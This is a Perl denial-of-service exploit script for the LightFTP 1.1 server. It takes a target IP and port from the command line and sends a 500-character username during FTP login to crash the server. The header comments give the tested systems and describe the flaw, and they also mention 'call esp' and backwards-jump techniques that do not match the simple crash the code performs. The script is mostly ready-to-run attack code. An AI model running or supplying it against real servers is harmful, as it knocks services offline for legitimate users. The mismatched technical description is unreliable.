#!/usr/bin/perl
use Net::FTP;
# Exploit Title: LightFTP 1.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 15 january 2024
# Vendor Homepage: N/A
# Notification vendor: No reported
# Tested Version: LightFTP 1.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the FTP server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $payload = "\x41"x500;
my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@";
$ftp->login($payload,"anonymous") or die "[+] Possibly exploited!";
$ftp->quit;
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print q {
,--,
_ ___/ /\|
,;'( )__, ) ~
// // '--;
' \ | ^
^ ^
[+] LightFTP 1.1 - Denial of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: fernando.mengalli@gmail.com
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated
